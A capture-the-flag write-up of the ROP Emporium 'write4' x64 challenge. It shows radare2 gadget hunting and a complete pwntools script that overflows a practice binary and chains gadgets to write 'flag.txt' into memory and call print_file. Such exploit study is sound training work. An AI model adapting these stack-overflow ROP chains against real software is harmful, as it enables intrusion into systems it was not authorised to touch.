Post

ROP Emporium write4 Writeup (x64)

ROP Emporium write4 Writeup (x64)

Introduction

ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the fourth challenge of eight.

According to the challenge page our goal is to call print_file() with the name of the file to read as the first argument. The string flag.txt doesn’t exist in the binary, so we will need to write it there ourselves!

This is what a hint will look like!

Exploit Crafting

The offset for x64 challenges will be 40 bytes. If you want to know how to find this value see the first writeup for this series.

Write Gadget

Check out usefulFunction’s assembly

Using radare2 we can analyze a binary by running aaa. We will need to write flag.txt to memory so let’s check the usefulGadgets section in usefulFunction We can view the assembly with the following commands

1
2
3
s sym.usefulFunction
V
p

useful gadgets

The mov instruction will set the value from r15 (8 byte qword) into the dereferenced address set in r14. This is what we’ll use to write to memory! The gadget address is 0x00400628

Mov Arguments

Find a gadget to control r14 and r15 along with a writable program segment

Now we need to find a gadget which can control r14 and r15 to control what to write and where to write it. We can use the /R command to search for gadgets

1
/R pop r14

mov args gadget

There are a few which come up but might as well use this one. Remember we can control where we jump so we can skip the pop rbp instruction entirely! The address we’ll use to set r14 and r15 is 0x0x00400690

Now that we can control where to write and what to write, where and what should we write? We want to open flag.txt so we’ll set that into r15. But we need to find a suitable location to write to. We can view writable sections with the command iS

writable sections

We need to find a section with the w permission and a size of at least 8 bytes (0x08). Let’s use the .data section which has the address 0x00601028

The python code to write data to an address looks like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/python3
from pwn import *

# useful addresses
write_gadget = 0x00400628   # mov qword [r14], r15
pop_r14_r15 = 0x00400690
data_addr = 0x00601028

# write byte string s to address addr
# return payload in bytes
def write_str(addr, s):
    payload = b''
    # write every 8 bytes of a string
    for i in range(0, len(s), 8):
        # address to write to
        r14 = p64(addr + i)

        # prevent slice out of bounds
        j = i+8
        if j >= len(s):
            j = len(s)

        # 8 bytes to write
        r15 = p64(int.from_bytes(s[i:j], 'little'))

        # set mov args
        payload += p64(pop_r14_r15)
        payload += r14
        payload += r15

        # write bytes
        payload += p64(write_gadget)
    return payload

Find the print_file address and a gadget which sets the rdi register

First let’s find the address of print_file() using the command afl

print-file-addr

print_file is part of a library so we can just use the address of corresponding plt entry, 0x00400510

Now we need to set the first argument to this function. According to the x64 calling convention, the first argument of a function is passed through the rdi register. Let’s find a gadget to control it

1
/R pop rdi

rdi-addr

Perfect! Our gadget address is 0x00400693

Exploit

We finally have everything to build the final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/python3
from pwn import *

# useful addresses
write_gadget = 0x00400628   # mov qword [r14], r15
pop_r14_r15 = 0x00400690
data_addr = 0x00601028
print_file_addr = 0x00400510
pop_rdi = 0x00400693

# write byte string s to address addr
# return payload in bytes
def write_str(addr, s):
    payload = b''
    # write every 8 bytes of a string
    for i in range(0, len(s), 8):
        # address to write to
        r14 = p64(addr + i)

        # prevent slice out of bounds
        j = i+8
        if j >= len(s):
            j = len(s)

        # 8 bytes to write
        r15 = p64(int.from_bytes(s[i:j], 'little'))

        # set mov args
        payload += p64(pop_r14_r15)
        payload += r14
        payload += r15

        # write bytes
        payload += p64(write_gadget)
    return payload

# create payload
payload = b'A' * 40

# write flag.txt to data section
payload += write_str(data_addr, b'flag.txt')

# call print_file(flag_txt_addr)
payload += p64(pop_rdi)
payload += p64(data_addr)
payload += p64(print_file_addr)

# send payload + receive flag
io = process('./write4')
io.recvline()
io.send(payload)
io.recvuntil(b'Thank you!\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))

flag

Conclusion

In this challenge we learned how to write arbitrary data to memory. By this point we should be relatively comfortable finding and chaining gadgets together. Next we’ll learn how to deal with forbidden characters in our payload.

Previous Challenge (callme)

Next Challenge (badchars)

write4 x86

This post is licensed under CC BY 4.0 by the author.